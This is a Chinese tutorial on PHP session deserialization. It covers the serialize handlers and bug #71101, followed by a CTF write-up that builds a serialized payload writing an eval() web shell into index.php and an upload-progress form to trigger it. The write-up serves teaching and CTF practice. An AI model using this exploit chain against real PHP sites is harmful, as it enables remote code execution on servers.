带你走进PHP session反序列化漏洞

0x01 写在前面

前些天打了巅峰极客，遇到了一题 session 反序列化，借此机会整理一下php session 反序列化的前生今世，愿与君共勉，如若有错，还望斧正

0x02 什么是 php session

谈 PHP session之前，必须要知道什么是session，那么到底什么是session呢？

Session一般称为“会话控制“，简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话，便可以在网站的任何页面使用或保持这个会话，从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同，这里仅讨论PHP session机制。

PHP session可以看做是一个特殊的变量，且该变量是用于存储关于用户会话的信息，或者更改用户会话的设置，需要注意的是，PHP Session 变量存储单一用户的信息，并且对于应用程序中的所有页面都是可用的，且其对应的具体 session 值会存储于服务器端，这也是与 cookie的主要区别，所以seesion 的安全性相对较高。

0x03 PHP Session 的工作流程

会话的工作流程很简单，当开始一个会话时，PHP 会尝试从请求中查找会话 ID （通常通过会话 cookie），如果发现请求的Cookies、Get、Post中不存在session id，PHP 就会自动调用php_session_create_id函数创建一个新的会话，并且在http response中通过set-cookie头部发送给客户端保存，如下图：

有时候浏览器用户设置会禁止 cookie，当在客户端cookie被禁用的情况下，php也可以自动将session id添加到url参数中以及form的hidden字段中，但这需要将php.ini中的session.use_trans_sid设为开启，也可以在运行时调用ini_set来设置这个配置项。

会话开始之后，PHP 就会将会话中的数据设置到 $_SESSION 变量中，如下述代码就是一个在 $_SESSION 变量中注册变量的例子：

<?php
session_start();
if (!isset($_SESSION['username'])) {
  $_SESSION['username'] = 'xianzhi' ;
}
?>

当 PHP 停止的时候，它会自动读取 $_SESSION 中的内容，并将其进行序列化，然后发送给会话保存管理器来进行保存。

默认情况下，PHP 使用内置的文件会话保存管理器来完成session的保存，也可以通过配置项 session.save_handler 来修改所要采用的会话保存管理器。对于文件会话保存管理器，会将会话数据保存到配置项session.save_path所指定的位置。

整个流程大概如上所述，也可参考下述流程图：

0x04 PHP session 在 php.ini 中的配置

PHP session在php.ini中主要存在以下配置项：

session.gc_divisor

php session垃圾回收机制相关配置
session.sid_bits_per_character

指定编码的会话ID字符中的位数
session.save_path=""

该配置主要设置session的存储路径
session.save_handler=""

该配置主要设定用户自定义存储函数，如果想使用PHP内置session存储机制之外的可以使用这个函数
session.use_strict_mode

严格会话模式，严格会话模式不接受未初始化的会话ID并重新生成会话ID
session.use_cookies

指定是否在客户端用 cookie 来存放会话 ID，默认启用
session.cookie_secure

指定是否仅通过安全连接发送 cookie，默认关闭
session.use_only_cookies

指定是否在客户端仅仅使用cookie来存放会话 ID，启用的话，可以防止有关通过 URL 传递会话 ID 的攻击
session.name

指定会话名以用做 cookie 的名字，只能由字母数字组成，默认为 PHPSESSID
session.auto_start

指定会话模块是否在请求开始时启动一个会话，默认值为 0，不启动
session.cookie_lifetime

指定了发送到浏览器的 cookie 的生命周期，单位为秒，值为 0 表示“直到关闭浏览器”。默认为 0
session.cookie_path

指定要设置会话cookie 的路径，默认为 /
session.cookie_domain

指定要设置会话cookie 的域名，默认为无，表示根据 cookie 规范产生cookie的主机名
session.cookie_httponly

将Cookie标记为只能通过HTTP协议访问，即无法通过脚本语言（例如JavaScript）访问Cookie，此设置可以有效地帮助通过XSS攻击减少身份盗用
session.serialize_handler

定义用来序列化/反序列化的处理器名字，默认使用php，还有其他引擎，且不同引擎的对应的session的存储方式不相同，具体可见下文所述
session.gc_probability

该配置项与 session.gc_divisor 合起来用来管理 garbage collection，即垃圾回收进程启动的概率
session.gc_divisor

该配置项与session.gc_probability合起来定义了在每个会话初始化时启动垃圾回收进程的概率
session.gc_maxlifetime

指定过了多少秒之后数据就会被视为“垃圾”并被清除，垃圾搜集可能会在session启动的时候开始（取决于session.gc_probability 和 session.gc_divisor）
session.referer_check

包含有用来检查每个 HTTP Referer的子串。如果客户端发送了Referer信息但是在其中并未找到该子串，则嵌入的会话 ID 会被标记为无效。默认为空字符串
session.cache_limiter

指定会话页面所使用的缓冲控制方法（none/nocache/private/private_no_expire/public）。默认为 nocache
session.cache_expire

以分钟数指定缓冲的会话页面的存活期，此设定对nocache缓冲控制方法无效。默认为 180
session.use_trans_sid

指定是否启用透明 SID 支持。默认禁用
session.sid_length

配置会话ID字符串的长度。会话ID的长度可以在22到256之间。默认值为32。
session.trans_sid_tags

指定启用透明sid支持时重写哪些HTML标签以包括会话ID
session.trans_sid_hosts

指定启用透明sid支持时重写的主机，以包括会话ID
session.sid_bits_per_character

配置编码的会话ID字符中的位数
session.upload_progress.enabled

启用上传进度跟踪，并填充$ _SESSION变量，默认启用。
session.upload_progress.cleanup

读取所有POST数据（即完成上传）后，立即清理进度信息，默认启用
session.upload_progress.prefix

配置$ _SESSION中用于上传进度键的前缀，默认为upload_progress_
session.upload_progress.name

$ _SESSION中用于存储进度信息的键的名称，默认为PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.freq

定义应该多长时间更新一次上传进度信息
session.upload_progress.min_freq

更新之间的最小延迟
session.lazy_write

配置会话数据在更改时是否被重写，默认启用

以上配置项涉及到的安全比较多，如会话劫持、XSS、CSRF 等，这些不是本文的主题，故不在赘述，在这里主要来具体谈一谈session.serialize_handler配置项

0x05 PHP session 的存储机制

上文中提到了 PHP session的存储机制是由session.serialize_handler来定义引擎的，默认是以文件的方式存储，且存储的文件是由sess_sessionid来决定文件名的，当然这个文件名也不是不变的，如Codeigniter框架的 session存储的文件名为ci_sessionSESSIONID，如下图所示：

当然，文件的内容始终是session值的序列化之后的内容：

session.serialize_handler定义的引擎有三种，如下表所示：

处理器名称	存储格式
php	键名 + 竖线 + 经过`serialize()`函数序列化处理的值
php_binary	键名的长度对应的 ASCII 字符 + 键名 + 经过`serialize()`函数序列化处理的值
php_serialize	经过serialize()函数序列化处理的数组

注：自 PHP 5.5.4 起可以使用 php_serialize

上述三种处理器中，php_serialize在内部简单地直接使用 serialize/unserialize函数，并且不会有php和 php_binary所具有的限制。使用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含特殊字符(| 和 !) 。

下面我们实例来看看三种不同处理器序列化后的结果。

php 处理器

首先来看看session.serialize_handler等于 php时候的序列化结果，demo 如下：

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

序列化的结果为：session|s:7:"xianzhi";

session 为$_SESSION['session']的键名，|后为传入 GET 参数经过序列化后的值

php_binary处理器

再来看看session.serialize_handler等于 php_binary时候的序列化结果。

demo 如下：

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

为了更能直观的体现出格式的差别，因此这里设置了键值长度为 35，35 对应的 ASCII 码为#，所以最终的结果如下图所示：

序列化的结果为：#sessionsessionsessionsessionsessions:7:"xianzhi";

#为键名长度对应的 ASCII 的值，sessionsessionsessionsessionsessions为键名，s:7:"xianzhi";为传入 GET 参数经过序列化后的值

php_serialize 处理器

最后就是session.serialize_handler等于 php_serialize时候的序列化结果，同理，demo 如下：

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

序列化的结果为：a:1:{s:7:"session";s:7:"xianzhi";}

a:1表示$_SESSION数组中有 1 个元素，花括号里面的内容即为传入 GET 参数经过序列化后的值

0x06 ·

这个 BUG 是由乌云白帽子ryat师傅于2015-12-12在 php官网上提出来的，他给了一个 payload，内容如下：

<form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”>
    <input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” />
    <input type =“ file” name =“ file” />
    <input type =“ submit” />
</ form>

然后$_SESSION中的键值就会为$_SESSION["upload_progress_ryat"]，在会话上传过程中，将对会话数据进行序列化/反序列化，序列化格式由php.ini中的session.serialize_handler选项设置。这意味着，如果在脚本中设置了不同的serialize_handler，那么可以导致注入任意session数据。

上面的解释可能看起来有些绕，简单来说php处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的，但是如果这两个处理器混合起来用，就会造成危害。

形成的原理就是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时， |会被当成键值对的分隔符，在特定的地方会造成反序列化漏洞。

举个简单的例子。

定义一个session.php文件，用于传入 session值，文件内容如下：

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

先看看session的初始内容，如下：

a:1:{s:7:"session";s:5:"hello";}

存在另一个class.php 文件，内容如下：

<?php
    error_reporting(0);
  ini_set('session.serialize_handler','php');
  session_start();
    class XianZhi{
    public $name = 'panda';
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '<br>'.$this->name;
    }
  }
  $str = new XianZhi();
 ?>

访问该页面可以看到：

实例化对象后，输出了panda

这两个文件的作用很清晰，session.php文件的处理器是php_serialize，class.php文件的处理器是php，session.php文件的作用是传入可控的 session值，class.php文件的作用是在反序列化开始前输出Who are you?，反序列化结束的时候输出name值。

这两个文件如果想要利用php bug #71101，我们要在session.php文件传入|+序列化格式的值，然后再次访问class.php文件的时候，就会在调用session值的时候，触发此 BUG。

首先生成序列化字符串，利用 payload 如下

<?php

class XianZhi{
    public $name;
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '<br>'.$this->name;
    }
}
    $str = new XianZhi();
    $str->name = "xianzhi";
    echo serialize($str);
  ?>

payload：O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}

然后传入session.php：

此时的 session内容如下：

a:1:{s:7:"session";s:44:"|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}";}

再次访问class.php文件的时候，就会发现已经触发了php bug #71101，如下图所示：

这仅仅是一个简单的赋值、取值的问题举例，并没有涉及到如何控制 session 值的问题，下面我通过2019 年巅峰极客大赛的lol这个php session反序列化题进行实例说明。

0x07 实例说明 PHP session 反序列化

这题比赛的时候我们队把源码扣了下来，可能有些页面不全，但是不影响做题，题目的结构如下：

├── app
│   ├── controller
│   │   ├── Files.class.php
│   │   └── IndexController.class.php
│   ├── model
│   │   └── Download.class.php
│   └── view
│       └── Cache.class.php
├── core
│   ├── config.php
│   ├── core.php
│   └── func.php
├── index.php
├── upload
│   └── e9ovitochivkoamlodj6vu9g7g
└── user

在config.php文件中找到了一个比较醒目的提示：

<?php
$config=array(
    'debug'=>'false',
    'ini'=>array(
        'session.name' => 'PHPSESSID',
        'session.serialize_handler' => 'php'
    )
);

是的，就是上文中提到的session.serialize_handler，那么再来看看在什么地方开启了session，经过查找，在/core/core.php文件中看到：

<?php

if(!defined('Core_DIR')){
    exit();
}

include(Core_DIR.DS.'config.php');
include(Core_DIR.DS.'func.php');

_if_debug($config['debug']);
spl_autoload_register('autoload_class');
config($config['ini']);


session_start();
define('Upload_DIR',Image_DIR.DS.session_id());
init();

$app = new IndexController();

if(method_exists($app, $app->data['method'])){
    $app->{$app->data['method']}($app->data['param']);
}else{
    $app->index();
}

#$this->method($_POST)

主要是

config($config['ini']);
session_start();

这两局，说明是有读取 session 值的，前面也说了，既然是 php session 反序列化题，那第一步要做的肯定是寻找可控session的点，经过寻找，在app/model/Cache.class.php文件中找到，文件内容如下：

<?php
class Cache{
    public $data;
    public $sj;
    public $path;
    public $html;
    function __construct($data){
        $this->data['name']=isset($data['post']['name'])?$data['post']['name']:'';
        $this->data['message']=isset($data['post']['message'])?$data['post']['message']:'';
        $this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg';
        $this->path=Cache_DIR.DS.session_id().'.php';
    }

    function __destruct(){
        $this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript>   </head> <body class="is-preload"><div id="wrapper"><header id="header"> <div class="logo"><span class="icon fa-diamond"></span> </div>  <div class="content"><div class="inner">    <h1>Hero of you</h1></div>  </div>  <nav><ul>   <li><a href="#you">YOU</a></li></ul>    </nav></header><div id="main"><article id="you">    <h2 class="major" ng-app>%s</h2>    <span class="image main"><img src="%s" alt="" /></span> <p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script>   </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg');

        if(file_put_contents($this->path,$this->html)){
            include($this->path);
        }
    }
}

在cache 类中，name和message的值通过 POST 请求得到，然后在传入到 path页面，这样一来，就很清楚了，我们控制name和message一个变量的值，然后再选择一个path，最终会在我们选择的path页面生成我们想要的东西，payload 如下：

<?php

class Cache{
    public $data ;
    public $sj;
    public $path = '/Library/WebServer/Documents/ctf/index.php';
    public $html;

}
    $str = new Cache();
    $str->data= [
    "name" => "payload",
    "message" => "panda",
    "image" => "panda"
];
    echo serialize($str);

?>

生成序列化值如下：

O:5:"Cache":4:{s:4:"data";a:3:{s:4:"name";s:7:"payload";s:7:"message";s:5:"panda";s:5:"image";s:5:"panda";}s:2:"sj";N;s:4:"path";s:42:"/Library/WebServer/Documents/ctf/index.php";s:4:"html";N;}

然后将 name 中payload的值改成<?php eval($_GET[1]);?>，如下：

O:5:"Cache":4:{s:4:"data";a:3:{s:4:"name";s:23:"<?php eval($_GET[a]);?>";s:7:"message";s:5:"panda";s:5:"image";s:5:"panda";}s:2:"sj";N;s:4:"path";s:42:"/Library/WebServer/Documents/ctf/index.php";s:4:"html";N;}

再利用上文中提到的PHP BUG #71101，建立up.html页面，页面内容如下：

<form action="http://10.37.14.49/ctf/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="panda" />
    <input type="file" name="file" />
    <input type="submit" />
</form>